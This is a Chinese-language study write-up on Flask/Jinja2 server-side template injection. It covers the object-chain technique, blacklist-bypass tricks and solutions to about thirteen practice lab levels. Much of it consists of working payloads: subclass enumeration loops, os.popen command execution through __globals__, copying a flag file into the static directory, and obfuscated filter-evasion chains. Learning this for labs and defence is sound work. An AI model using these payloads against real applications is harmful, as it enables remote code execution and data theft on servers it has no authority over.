漏洞成因

Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染,而不是使用模板变量。例如,使用render_template_string函数时,如果用户输入被直接嵌入模板字符串中,而没有经过适当的处理,攻击者就可以注入模板代码,从而执行任意代码。

为什么不能直接用__import__(‘os’).system(‘xxx’)?

Jinja2模板引擎为了安全考虑,Jinja2 主动“阉割”了危险入口,_import__ 不在模板可访问的命名空间里。但是,Jinja2模板语法提供了执行一些表达式的能力,可以“绕到它”。

(Jinja2 是一个文本模板引擎,它能把”模板”和”数据”结合起来,生成最终的文本(通常是HTML),就是相当于把我们python里面写的数据和网页模板结合在一起的引擎。

在Jinja2模板中,我们可以通过Python的对象的继承链来访问我们想要的函数和对象。例如,我们可以通过以下步骤:

与攻击相关的语法

  • set
    可以在模板中定义变量,比如:
1
2
3
4
5
6
{% set user="dq" %}
{% set num=520928 %}
{% set userData=[num,user]} %}
{% for each in userData %}
<p> {{each}} </p>
{% endfor %}

set 定义的变量相当于python中的 全局变量,在后面都可以使用。这一点当时没在意 只是一味地创建拼接后的敏感词…

  • with
    可以定义仅能在 with语句块 中使用的变量,一旦超过了这个块就不能使用,比如
1
2
3
{% with user="dq" %}
<p>{{user}}</p>
{% endwith %}

构造payload的原理

  1. 从一个已知的对象(比如config)开始,它是一个对象。
  2. 访问该对象的类(__class__)。
  3. 访问该类的基类(__bases__)或通过__mro__(方法解析顺序)来访问其他类。
  4. 访问子类(__subclasses__)来找到我们想要的类(比如object类)。
  5. 从这些子类中,我们可以找到一些有用的类,例如os._wrap_close类,它包含了os模块的引用。
    一个常见的payload是通过__class____bases____subclasses__等属性来遍历Python对象模型,最终找到可以执行命令的类或函数。
    攻击思路:找到可以执行命令的对象链
    对象 → 类 → 基类 → 子类 → 敏感模块 → 执行命令 然后其实最主要的就是能从函数 或者类方法之类的去拿到全局变量(函数之所以能访问模块级变量,是因为每个 Python 函数对象都保存了一个指向模块全局命名空间的引用,这个引用就是 __globals__。)
    之前没有看到比较深的概念
1
2
3
x = 10
def f():
return x

当调用 f() 时 去 f.__globals__['x'] 查找 从最基础的定义来说 函数和全局变量确实就是最相关的 对于一些简单的黑名单 可以直接用工具生成 主要理解原理和一些方法技巧
对于payload里面的构造 最基础的其实就是围绕下面的各种变形
下面是我在博客一个大神的笔记那里抄的,就是多种相同的表达的不同写法,用于限制后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
这是键值
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
这是属性
().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

敏感字符拼接

1
2
3
4
5
6
'm'+'o'
'm'~'o'
('m','o')|join
['m','o']|join
{'m':a,'o':a}|join
dict(m=a,o=a)|join

获取数字

1
2
3
4
5
6
7
8
9
10
11
{}|int # 0
(not{})|int # 1
((not{})|int+(not{})|int) # 2
((not{})|int+(not{})|int)**((not{})|int+(not{})|int) # 4
((not{})|int,(not{})|int)|sum # 2
# ......
((not{})|int,{}|int)|join|int # 10
(-(not{})|int,{}|int)|join|int #10
'aaxaaa'.index('x') # 2
((),())|count/length # 2
((),())|length # 2

还有一个比较方便的

1
{% set nine=dict(aaaaaaaaa=a)|join|count %}

包括用数字来获得符号也是 打靶场会遇到

常用绕过

1
2
3
4
5
6
7
morouu|select|string> 无himpquvwz
dict(morouu=a)|join
morouu.__doc__
config/session/request ... |string
'%c'%(97)> a
(morouu|select|string|urlencode|list|first~dict(c=a)|join)|format(97)> a
request.args.morouu&morouu=[Any] # 这个还可从其他方式传入参数

payload记不完的 记一些抓起来就能用的就行 毕竟遇上什么长度限制 终极黑名单就完全…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

查找多少号里面的类
{% for i in range(130,140) %}{{ i }}:{{ ''.__class__.__base__.__subclasses__()[i].__name__ }}|{% endfor %}


找到类在多少号
{% for i in range(500) %}
{% if ''.__class__.__base__.__subclasses__()[i].__name__ == '_wrap_close' %}
<p>找到 _wrap_close 在索引: {{ i }}</p>
{% endif %}
{% endfor %}

{#找到所有带builtins的类}
{% for i in range(500) %}
{% set cls = ''.__class__.__base__.__subclasses__()[i] %}
{% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('__builtins__') %}
索引 {{ i }}: {{ cls.__name__ }} 可以访问 __builtins__
{% endif %}
{% endfor %}

{# 如果还不行,直接使用 os 模块 #}
{% for i in range(500) %}
{% set cls = ''.__class__.__base__.__subclasses__()[i] %}
{% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('os') %}
索引 {{ i }}: {{ cls.__name__ }} -
{{ cls.__init__.__globals__['os'].popen('whoami').read().strip() }}(可以直接到位写,但是不一定是查询用户名)
{% endif %}
{% endfor %}
strip() 会移除:
空格:" "
换行符:"\n"
回车符:"\r"
制表符:"\t"
其他空白字符

一步到位 直接查询 前提是得有这个类,不然的话还是要像前面一样找到能使用到builtins模块的类
{% for i in range(500) %}
{% if ''.__class__.__base__.__subclasses__()[i].__name__ == 'catch_warnings' %}
{% for i in range(500) %}
{% set cls = ''.__class__.__base__.__subclasses__()[i] %}
{% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('__builtins__') %}
索引 {{ i }}: {{ cls.__name__ }} 可以访问 __builtins__
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

{{''.__class__.__base__.__subclasses__()[包含builtins的类的序号].__init__.__globals__['__builtins__']['os'].popen('whoami').read()}}

接下来开始打靶场

  1. 没有防火墙限制
  2. 不能用{{}},也就是说不能使用变量了,可以将变量作为语句来执行,也就是{%%},和第一关一样,前面加上print输出就可以了。
  3. 卡住了,一直弹这个,看wp。”不出网” 指的是目标服务器无法主动访问外部网络。这个在之前的task6遇到过,静态文件 指的是内容在服务器上固定不变的文件。遇到不出网的可以直接写入静态文件来进行攻击,一般都是先检测一下能否正常写入在进行攻击。这是flask的静态目录Pasted image 20251108200208.png,这里进行测试,Pasted image 20251108201935.png,测试成功。{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag >/app/static/12345.txt').read()}},然后访问这个路径就可以了。
  4. 这里ban了[ ],但是用上面大佬总结的相同表达方式,可以直接用get,或者是pop,或者是__getitem__都可以{{_wrap_close.__init__.__globals__.get('__builtins__').get('__import__')('os').popen('env').read()}}
  5. ban了’和”,又没有思绪了,wp URL 参数在解析时就已经是字符串request.args.a ,返回的是字符串 ‘os’,不是变量名 os这个过程在模板渲染之前就完成了。Pasted image 20251108205706.png
  6. ban了__,attr过滤器用于获取对象的属性。其基本用法是{{ object|attr('attribute_name') }},这相当于object.attribute_name.Pasted image 20251108211840.png,也可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)。
  7. 不能用点号,那就用上面获取属性的方式{{ lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('env')['read']() }}
  8. 过滤了关键词,拼接绕过,用~,或者说单纯用到在 Python 和 Jinja2 中,相邻的字符串字面量会自动拼接。{{lipsum['__glob'~'als__']['__builtins__']['__imp'~'ort__']('os')['pop'~'en']('env').read()}}
  9. 不能用数字,这个只有索引的时候会遇到数字,我们不用到subclasses就可以了{{_wrap_close.__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()}}
  10. 这一关是查询到config,但是直接查询是none,没头绪,看wp。config可以在current_app得到,它是当前正在运行的 Flask 应用实例,记住就可以了{{get_flashed_messages.__globals__['current_app'].config}}
  11. 后面都是这种限制了很多。这里学到了创建字典并且连起来的方式,看payload
a
1
2
3
4
5
6
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set zhuru=dict(en=a,v=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(ge=a,t=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(zhuru)|attr(d)()}}

在set创建一个字典后,把要拼接的作为键的一部分,然后用|join把键拼接起来。这里注意在global这个字典这里获取的是键值,所以用get或者是__getitem__。
12. bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']不能用这些,最难的就是下划线,首先看网上的教程,怎么做下划线,那这里也有数字,这里限制了数字,那么还要想怎么表达数字,这里学到用count,这里输了九个a,那么字符的长度就是9,用count来得到9。然后用相同的道理得到十八,最后得到下划线。

1
2
{% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %}{% set pop=dict(pop=a)|join%}{% set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set env=dict(en=a,v=a)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(env)|attr(read)()}}
{% set nine=dict(aaaaaaaaa=a)|join|count %}
  1. 多了一个点,就用我上面的照样可以绕过